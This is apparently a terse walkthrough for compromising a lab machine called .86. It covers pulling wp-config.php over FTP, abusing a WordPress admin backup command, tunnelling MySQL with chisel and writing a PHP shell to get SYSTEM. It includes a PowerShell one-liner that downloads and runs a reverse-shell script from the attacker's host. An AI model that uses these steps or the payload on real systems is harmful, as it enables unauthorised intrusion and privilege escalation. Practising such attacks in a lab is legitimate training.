.

86 ( by Discord: 0xhexf:6615)
____________________________________

Ftp on 21021 > wordpress folder > download wp-config.php

There is database creds

Login in source web page, admin@local

On 10300 port

---->
login on 10300 port

there is a backup option in admin panel

And execute powershell IEX DownloadString payload as the backup command.

shell taken.

This .86 user part

After wordpress login

There is backup command

Set it to this

powershell.exe -exec bypass -C 'iex(iwr http://192.168.xx.xx:10300/shell.ps1 -UseBasicParsing)

(edited)

Powershell reverse shell

----------------
root part
----------------

3306 port for mysql not accessible from outside of machine

You must tunnel it via chisel to your kali box

------>
Login with creds from wp-config.php
Mysql running as local system account so you can leverage it to write php shell into xampp htdocs
directory
And php in windows machine mostly running as system
So you can reverse shell via php and get system account